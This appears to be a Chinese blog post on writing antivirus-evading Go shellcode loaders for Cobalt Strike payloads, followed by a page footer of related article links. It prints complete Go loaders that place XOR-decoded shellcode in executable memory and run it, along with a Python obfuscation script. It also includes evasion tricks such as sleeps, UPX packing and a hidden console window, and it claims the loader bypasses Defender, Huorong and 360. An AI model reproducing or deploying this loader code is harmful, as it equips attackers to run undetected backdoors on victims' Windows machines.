0x01 go免杀

由于各种av的限制,我们在后门上线或者权限持久化时很容易被杀软查杀,容易引起目标的警觉同时暴露了自己的ip。尤其是对于windows目标,一个免杀的后门极为关键,如果后门文件落不了地,还怎么能进一步执行呢?关于后门免杀,网上的介绍已经很多了,原理其实大同小异。看了很多网上的案例,发现网上比较多都是用C/C++和python来进行免杀,但是很多已经被杀软看的死死的,

非常容易就被识别出来了,那我想能不能用一种稍微小众一点的语言来写免杀呢,这里就不得不说到go语言。

Go语言专门针对多处理器系统应用程序的编程进行了优化,使用Go编译的程序可以媲美C或C++代码的速度,而且更加安全、支持并行进程。而且go语言支持交叉编译可以跨平台。

本文基于cobalt strike生成的.c文件来进行免杀测试。

0x02 免杀测试

首先生成成一个.C文件





这里先贴一个最原始的go加载代码

package main

import (
"syscall"
"unsafe"
) const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码,应用程序可以读写该区域。
) var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
) func main() {
xor_shellcode := []byte{0x89, 0x3d, 0xf6, 0x91, 0x85, 0x9d, 0xb9, 0x75, 0x75, 0x75, 0x34, 0x24, 0x34, 0x25, 0x27, 0x24, 0x23, 0x3d, 0x44, 0xa7, 0x10, 0x3d, 0xfe, 0x27, 0x15, 0x3d, 0xfe...} addr, _, err := VirtualAlloc.Call(0, uintptr(len(xor_shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&xor_shellcode[0])), uintptr(len(xor_shellcode)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}

这里注意:因为杀软对直接加载shellcode的一般都是落地秒,所以我们得换种方式,将shellcode混淆加密后再解密来使用。

加密和混淆经常使用的有异或加密,AES加密,或者添加随机字符等。

但是随着现在使用这种方法的人越来越多,杀软检测力度也越来越大,所以现在混淆的关键就是方式尽量要小众,或者自己写加密方法。

这里有个好的地方就是,现在网上实现加密混淆操作的大都是使用C/C++来完成的,有些比较好的思路用C/C++实现可能会被杀软拦截,但是如果把它移植到go上面说不定就有不一样的效果。

先从整个shellcode混淆的脚本

def xor(shellcode, key):
new_shellcode = ""
key_len = len(key)
# 对shellcode的每一位进行xor亦或处理
for i in range(0, len(shellcode)):
s = ord(shellcode[i])
p = ord((key[i % key_len]))
s = s ^ p # 与p异或,p就是key中的字符之一
s = chr(s)
new_shellcode += s
return new_shellcode def random_decode(shellcode):
j = 0
new_shellcode = ""
for i in range(0,len(shellcode)):
if i % 2 == 0:
new_shellcode[i] = shellcode[j]
j += 1 return new_shellcode def add_random_code(shellcode, key):
new_shellcode = ""
key_len = len(key)
# 每个字节后面添加随机一个字节,随机字符来源于key
for i in range(0, len(shellcode)):
#print(ord(shellcode[i]))
new_shellcode += shellcode[i]
# print("&"+hex(ord(new_shellcode[i])))
new_shellcode += key[i % key_len] #print(i % key_len)
return new_shellcode # 将shellcode打印输出
def str_to_hex(shellcode):
raw = ""
for i in range(0, len(shellcode)):
s = hex(ord(shellcode[i])).replace("0x",',0x')
raw = raw + s
return raw if __name__ == '__main__':
shellcode = ""
# 这是异或和增加随机字符使用的key
key = "iqe"
print(shellcode[0])
print(len(shellcode))
# 首先对shellcode进行异或处理
shellcode = xor(shellcode, key)
print(len(shellcode)) # 然后在shellcode中增加随机字符
shellcode = add_random_code(shellcode, key) # 将shellcode打印出来
print(str_to_hex(shellcode))

加密shellcode后,再使用go语言加载混淆后的shellcode,先解密再执行。

package main

import (
"fmt"
"syscall"
"time"
"unsafe"
) const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码,应用程序可以读写该区域。 ) var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
) func main() {
mix_shellcode := []byte{0x95,0x69,0x39,0x71,0xe6,0x65}
var ttyolller []byte
key := []byte("iqe")
var key_size = len(key)
var shellcode_final []byte
var j = 0
time.Sleep(2)
// 去除垃圾代码
fmt.Print(len(mix_shellcode))
for i := 0; i < len(mix_shellcode); i++ {
if (i % 2 == 0) {
shellcode_final = append(shellcode_final,mix_shellcode[i])
j += 1
}
}
time.Sleep(3)
fmt.Print(shellcode_final)
// 解密异或
for i := 0; i < len(shellcode_final); i++ {
ttyolller = append(ttyolller, shellcode_final[i]^key[i % key_size])
}
time.Sleep(3)
addr, _, err := VirtualAlloc.Call(0, uintptr(len(ttyolller)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
time.Sleep(3)
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&ttyolller[0])), uintptr(len(ttyolller)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}

直接go build生成exe文件

生成的文件大概有2M,再经过UPX压缩后大概只有1M,这比python生成的要小很多了。



静态完美过WindowsDefender,火绒和360全家桶





可以正常上线



VT查杀率71/8



可以看到国内的就一款杀软查出来了

后记

用go编译的exe文件执行后会弹出黑框这里有两个解决办法

  • 在initial_beacon中设置auto migrate,但还得连带把initial sleep设置成尽可能短
  • build时添加操作选项:-ldflags="-H windowsgui"

参考

https://payloads.online/archivers/2019-11-10/1

https://saucer-man.com/operation_and_maintenance/465.html#cl-5

http://iv4n.cc/go-shellcode-loader/#shellcode-loader

https://payloads.online/archivers/2019-11-10/3

go免杀初探的更多相关文章

  1. 【黑客免杀攻防】读书笔记7 - 软件逆向工程基础1(函数调用约定、Main函数查找)

    0x1 准备工作 1.1.准备工具 IDA:交互式反汇编工具 OllyDbg:用户层调试工具 Visual Studio:微软开发工具 1.2.基础知识 C++开发 汇编语言 0x2 查找真正的mai ...

  2. 免杀后门之MSF&Veil-Evasion的完美结合

    本文由“即刻安全”投稿到“玄魂工作室” Veil-Evasion 是 Veil-Framework 框架的一部分,也是其主要的项目.利用它我们可以生成绕过杀软的 payload !kali 上并未安装 ...

  3. PHP一句话过狗、卫士、D盾等免杀思路!

    原文转载于:http://www.legendsec.org/1701.html 觉得写得还算蛮科普的. 00x1.关键字拆分.         比如assert,可以写成 ‘a’.’ss’.’e’. ...

  4. Atitit.木马病毒的免杀原理---sikuli 的使用

    Atitit.木马病毒的免杀原理---sikuli 的使用 1. 使用sikuli java api1 1.1. 3. Write code!1 2. 常用api2 2.1. wait 等待某个界面出 ...

  5. Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结

    Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结 1. ,免杀技术的用途2 1.1. 病毒木马的编写2 1.2. 软件保护所用的加密产品(比如壳)中,有 ...

  6. 浅谈C++源码的过国内杀软的免杀

    以下只是简单的思路和定位.也许有人秒过,但是不要笑话我写的笨方法.定位永远是过期不了的. 其实这里废话一下 , 本人并不是大牛 ,今天跟大家分享下 .所以写出这篇文章.(大牛飘过) 只是个人实战的经验 ...

  7. lcx源代码以及免杀的研究

    之前和Random大神讨论了一下免杀的问题,他给出了一个比较不错的想法,使用debug版本发布可以过很多杀软.顺便看了下lcx的源码,发现其代码不算特别复杂,于是乎就在这分析一下. 报毒情况 因为使用 ...

  8. 绕过网站安全狗拦截,上传Webshell技巧总结(附免杀PHP一句话)

    这篇文章我介绍一下我所知道的绕过网站安全狗上传WebShell的方法. 思路是:修改HTTP请求,构成畸形HTTP请求,然后绕过网站安全狗的检测. 废话不多说,切入正题.... 1.实验环境: Win ...

  9. Exp3免杀原理与实践 20164312 马孝涛

    1.实验要求   1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编 ...

随机推荐

  1. 避免用using包装DbContext【翻译】

    EF和EF Core 的DbContext类实现IDisposable接口.因此,很多最佳编程实践中都建议你将它们放在一个using()块中.不幸的是,至少在Web应用程序中,这样做通常不是一个好主意 ...

  2. 在.NET Core 中实现健康检查

    .NET Core中提供了开箱即用的运行状况检查,首先,我将在.NET Core API应用程序中执行运行状况检查,接下来,我们将使用DbContext集成SQL Server或数据库的运行状况检查, ...

  3. CSS实现迷你键盘

    最近做了一个迷你键盘的dome,这里分享给大家 dome下载地址(点击下载) 代码如下: <!DOCTYPE html> <html lang="en" > ...

  4. 【Android初级】使用TypeFace设置TextView的文字字体(附源码)

    在Android里面设置一个TextView的文字颜色和文字大小,都很简单,也是一个常用的基本功能.但很少有设置文字字体的,今天要分享的是通过TypeFace去设置TextView的文字字体,布局里面 ...

  5. Vue整合swiper报错Could not compile template .....swiper\dist\css\swiper.css解决办法

    问题描述 今天做一个前端项目,安装幻灯片插件vue-awesome-swiper后 运行npm run dev 后报错如下: `ERROR Could not compile template E:\ ...

  6. nginx proxy pass redirects ignore port

    nginx proxy pass redirects ignore port $host in this order of precedence: host name from the request ...

  7. 【算法】深度优先搜索(dfs)

    突然发现机房里有很多人不会暴搜(dfs),所以写一篇他们能听得懂的博客(大概?) PS:万能 yuechi ---- 大法师怎么能不会呢?! 若有错误,请 dalao 指出. 前置 我知道即使很多人都 ...

  8. FFT,NTT 笔记

    FFT 简介 FFT是干啥的?它是用来加速多项式乘法的.我们平时经常求多项式乘法,比如\((x+1)(x+3)=(x^2+4x+3)\).假设两个式子都是\(n\)项(不足的补0),那朴素的算法是\( ...

  9. HBase与Zookeeper的关系

    HBase与Zookeeper的关系 一.HBase与Zookeeper的关系 Zookeeper Client Master RegionServer 一.HBase与Zookeeper的关系 Cl ...

  10. 提升NginxTLS/SSL HTTPS 性能的7条优化建议

    自2018年7月起,谷歌浏览器开始将" HTTP"网站标记为"不安全".在过去的几年中,互联网已经迅速过渡到HTTPS,Chrome浏览器的流量超过70%,并且 ...